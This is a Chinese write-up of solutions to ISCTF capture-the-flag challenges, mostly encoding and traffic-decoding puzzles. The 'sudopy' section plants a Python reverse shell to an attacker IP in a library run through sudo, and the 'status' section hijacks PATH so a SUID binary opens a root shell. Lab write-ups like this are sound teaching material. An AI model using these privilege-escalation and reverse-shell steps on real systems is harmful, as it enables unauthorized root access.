4,1 3,1 4,1 2,2 4,1 1,2 4,1
1,3 3,2 1,2 4,1 1,1 4,1 3,1
4,1 2,3 4,1 4,2 4,1 3,2 4,1
4,2 3,2 1,2 3,2 3,1 3,2 3,2
4,1 4,2 4,1 3,2 4,1 3,2 4,2
4,3 4,2
1
2
3
4
5
6
7
8
9
10
11
rep = [
['富强', '民主', '文明', '和谐'],
['自由', '平等', '公正', '法治'],
['爱国', '敬业', '诚信', '友善']
]

source = open('pos.txt').read().replace('\n', ' ').replace(' ', ' ')

for i in source.split(' '):
x, y = i.split(',')
print(rep[int(y)-1][int(x)-1], end='')

公正公正公正诚信文明公正民主公正法治法治诚信民主公正民主公正和谐公正民主和谐民主和谐敬业和谐平等公正公正公正自由和谐和谐公正自由和谐富强公正公正和谐文明和谐和谐和谐敬业和谐文明和谐平等和谐自由和谐爱国公正自由和谐富强和谐文明和谐敬业和谐法治和谐公正和谐法治公正自由公正文明公正公正和谐法治和谐公正和谐公正法治友善法治

解码得到flag

ezUSB

image-20250719204045365

存在蓝牙和usb流量

tshark- T json -r 题目.pcapng >output.json

提取数据以json格式

usb流量:

strings output.json | grep “usbhid.data”>1.txt(提取usb流量)

image-20250719204749894

取所有usb流量中框中部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('pos.txt') # 数据文件路径
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()

flag = 1 # 修复:初始 flag=1,表示 Caps Lock 开启
print("".join(output))
for i in range(len(output)):
try:
a = output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i] == "<CAP>":
flag += 1
output.pop(i)
if flag == 2:
flag = 0
if flag != 0:
output[i] = output[i].upper()
except:
pass
print('output :' + "".join(output))


得到后半段flag

image-20250719212059522

_sov_jmfyffjs!!!}

蓝牙流量:

strings output.json | grep “btatt.value”>2.txt

依旧留8位

image-20250719210137073

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('pos.txt')#数据文件路径
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))

得到前半段flag

AGGSZ{Kp_wn_YRV

并不是flag

image-20250719212059522

收集删除(del)的字符可以发现key:soezusb

维吉尼亚在线解码

image-20250719210511287

1
ISCTF{So_ez_USB_and_vigenere!!!}

小白小黑

image-20250719212828893

隐约可以看出是由数字构成的二维码

其中一些数字代表白色,剩下的数字代表黑色

CyberChef一键梭

image-20250719213401212

脚本

可以根据txt绘制一张新的图片,如果数据小于5就绘制为白色,如果数据大于等于5就绘制为黑色,得到歪曲的二维码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from PIL import Image

new_image = Image.new('RGB', (256, 256))
pixels = new_image.load()
with open("./flag.txt","r") as f:
ls = f.read()
width = 256
height = 256
cnt = 0
for y in range(height):
for x in range(width):
if ls[cnt] < "5":
pixels[x, y] = (255, 255, 255)
else:
pixels[x, y] = (0, 0, 0)
cnt += 1

new_image.save("./3.png")

一心不可二用

image-20250719214254392

加密压缩包备注

image-20250719214307372

unexpected EOF while parsing 应该是 SyntaxError,所以压缩包的密码是 SyntaxError。解压后得到 Flag。

EZcrc

爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import zlib

crc_list = [0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0x67ff2f5b,0xd2b184ff,0xb462df74,0x32973a9e,0x2bd745ce,0xd2b184ff,0xb462df74,0x32973a9e,0x8011b198,0xd2b184ff,0xb462df74,0x32973a9e,0xca923eba,0xd2b184ff,0xb462df74,0x32973a9e,0x671c3b57,0xd2b184ff,0xb462df74,0x32973a9e,0x2bd745ce,0xd2b184ff,0xb462df74,0x32973a9e,0x671c3b57,0xd2b184ff,0xb462df74,0x32973a9e,0xbae88946,0x8d05071e,0x44454e88,0xd2b184ff,0xb462df74,0x32973a9e,0x2bd745ce,0x5133df38,0x35a296cb,0x67ff2f5b,0x55de84d6,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xd2b184ff,0xb462df74,0x32973a9e,0x8d05071e,0xd2b184ff,0xb462df74,0x32973a9e,0x8d05071e,0xd2b184ff,0xb462df74,0x32973a9e,0x3d31ef42,0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0xef809c83,0xd2b184ff,0xb462df74,0x32973a9e,0xf1a75063,0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0xd2b184ff,0xb462df74,0x32973a9e,0x987a20e2,0xd2b184ff,0xb462df74,0x32973a9e,0xca923eba,0xd2b184ff,0xb462df74,0x32973a9e,0x3d31ef42,0xd2b184ff,0xb462df74,0x32973a9e,0x385b0871,0xd2b184ff,0xb462df74,0x32973a9e,0xf1a75063,0xe9c57755,0xe9c57755,0xd2b184ff,0xb462df74,0x32973a9e,0xbae88946,0xd2b184ff,0xb462df74,0x32973a9e,0x987a20e2,0x35a296cb,0xbae88946,0xd2b184ff,0xb462df74,0x32973a9e,0xffcef5e5,0xd2b184ff,0xb462df74,0x32973a9e,0x671c3b57,0x961e78b1,0x7b28dc77,0x5133df38,0xd2b184ff,0xb462df74,0x32973a9e,0xacb845e7,0x987a20e2,0xd2b184ff,0xb462df74,0x32973a9e,0xffcef5e5,0xd2b184ff,0xb462df74,0x32973a9e,0x385b0871,0xe9c57755,0xd2b184ff,0xb462df74,0x32973a9e,0x385b0871,0x55de84d6,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0x44454e88,0xd2b184ff,0xb462df74,0x32973a9e,0x385b0871,0x44454e88,0xd2b184ff,0xb462df74,0x32973a9e,0xf1a75063,0x8ad3bf47,0xd2b184ff,0xb462df74,0x32973a9e,0xf9cd093c,0xd2b184ff,0xb462df74,0x32973a9e,0xe71302b2,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xd2b184ff,0xb462df74,0x32973a9e,0xca923eba,0xd2b184ff,0xb462df74,0x32973a9e,0x3d31ef42,0x5133df38,0x35a296cb,0xd2b184ff,0xb462df74,0x32973a9e,0x2bd745ce,0xe71302b2,0xd2b184ff,0xb462df74,0x32973a9e,0xbae88946,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xd2b184ff,0xb462df74,0x32973a9e,0x8d05071e,0xd2b184ff,0xb462df74,0x32973a9e,0x8011b198,0x5133df38,0x67ff2f5b,0x3556ac70,0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0xd2b184ff,0xb462df74,0x32973a9e,0x2bd745ce,0x2bd745ce,0xd2b184ff,0xb462df74,0x32973a9e,0x671c3b57,0xffcef5e5,0xd2b184ff,0xb462df74,0x32973a9e,0x80a37b94,0xd2b184ff,0xb462df74,0x32973a9e,0xb10371d,0xe9c57755,0xef809c83]
for target_crc in crc_list:
for i in range(256):
for j in range(256):
for k in range(256):
data = bytes([i, j, k]) # 构造3字节数据
crc = zlib.crc32(data) & 0xffffffff # 计算CRC32值
if crc == target_crc:
data=data.decode()
print(f"Found matching data: {data}")

break

print("Finished searching.")

对表解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import base64

conversion_table = {
'A': '大写的啊',
'B': '大写的玻',
'C': '大写的雌',
'D': '大写的得',
'E': '大写的鹅',
'F': '大写的佛',
'G': '大写的哥',
'H': '大写的喝',
'I': '大写的衣',
'J': '大写的基',
'K': '大写的科',
'L': '大写的勒',
'M': '大写的摸',
'N': '大写的讷',
'O': '大写的喔',
'P': '大写的坡',
'Q': '大写的欺',
'R': '大写的日',
'S': '大写的思',
'T': '大写的特',
'U': '大写的乌',
'V': '大写的迂',
'W': '大写的巫',
'X': '大写的希',
'Y': '大写的衣',
'Z': '大写的资',
'a': '啊',
'b': '玻',
'c': '雌',
'd': '得',
'e': '鹅',
'f': '佛',
'g': '哥',
'h': '喝',
'i': '衣',
'j': '基',
'k': '科',
'l': '勒',
'm': '摸',
'n': '讷',
'o': '喔',
'p': '坡',
'q': '欺',
'r': '日',
's': '思',
't': '特',
'u': '乌',
'v': '迂',
'w': '巫',
'x': '希',
'y': '衣',
'z': '资',
}
numbers = {'0': '零', '1': '壹', '2': '贰', '3': '叁', '4': '肆', '5': '伍', '6': '陆', 7: '柒', '8': '捌', '9': '玖'}
table = dict([val, key] for key, val in conversion_table.items())
numbers = dict([val, key] for key, val in numbers.items())
# print(table[])
test = "大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得大写的资啊科壹肆大写的特大写的特大写的基大写的基大写的讷大写的乌玖大写的鹅大写的乌大写的希大写的日大写的讷大写的迂大写的鹅零零大写的巫大写的希科巫大写的摸大写的佛勒欺啊大写的哥希大写的摸大写的迂零大写的迂肆大写的特大写的乌得大写的迂得大写的鹅伍大写的喝大写的思大写的特大写的日大写的讷啊科大写的资思大写的巫大写的特大写的基大写的喔啊壹坡大写的乌大写的资资大写的佛摸大写的乌大写的特零玖"

for key in table:
test = test.replace(key, table[key])
for key in numbers:
test = test.replace(key, str(numbers[key]))
for key in numbers:
test = test.replace("歪", "y") # 这个地方比较特殊,在读音里面有两个衣
# print(test)
# print(test,conversion_table)
print(test)
print(base64.b64decode(base64.b64decode(test)))

sudopy

ssh -p 20353 ctf@gz.imxbt.cn

image-20250720114054413

发现直接cat flag无权限,但是可以查看web.py

sudo -l 显示出自己(执行 sudo 的使用者)的权限

image-20250720114641061

web.py导入了一个叫webbrowser的库

找它的位置

find /usr -name webbrowser.py

在/usr/lib/python3.10/webbrowser.py

在webbrowser.py里放入反弹shell

vim /usr/lib/python3.10/webbrowser.py

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

攻击机nc -lvnp 端口 开启监听

靶机处执行命令:sudo /usr/bin/python3 /home/ctf/web.py

成功连接,并且是root权限

接着cd /home/ctf 后 cat flag即可

参考文章:

https://www.freebuf.com/vuls/279298.html

Wonderful New World

我的世界游戏中

前半部分在侧面,有一堆方块堆成的直线,是摩斯电码

橙色方块是短点.,史莱姆块是短划-,黑色方块是分割

另外一部分在日志文件

一串十进制数,转换为ascii码,base64编码字符串,解密得到后半部分

DISK

image-20250720122029377

名字逆置解码得到了错误的flag ISCTF{This_is_Not_True_flag}

溯源发现之前名字为

image-20250720122405770

image-20250720122459296

1
2
3
4
5
6
7
1230193492
1182487903
1918846768
811884366
1413895007
1298230881
1734701693

处理(long_to_bytes

1
2
3
4
5
6
7
8
from Crypto.Util.number import *
print(long_to_bytes(1230193492))
print(long_to_bytes(1182487903))
print(long_to_bytes(1918846768))
print(long_to_bytes(811884366))
print(long_to_bytes(1413895007))
print(long_to_bytes(1298230881))
print(long_to_bytes(1734701693))

得到flag

image-20250720123242666

参考:

https://www.cnblogs.com/WXjzc/p/16702647.html

status

ssh -p 20360 ctf@gz.imxbt.cn

查一下 SUID 文件:

1
find / -perm -u=s -type f 2>/dev/null

image-20250720123818145

发现 /home/ctf/checkgenshin 是 SUID 文件,将其下载下来后进行逆向,发现其会用 root 执行命令 service ssh status。那就直接给他把 service 劫持了:

1
2
3
4
5
6
7
ctf@ae59c6013521:~$ export PATH=/home/ctf:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
ctf@ae59c6013521:~$ cp /bin/bash ./service
ctf@ae59c6013521:~$ echo "/bin/bash" > ssh
ctf@ae59c6013521:~$ ./checkgenshin
root@ae59c6013521:~# cat flag
ISCTF{a7f16684-7ba5-4c57-83dc-7408b46895b0}
root@ae59c6013521:~# Connection to gz.imxbt.cn closed by remote host.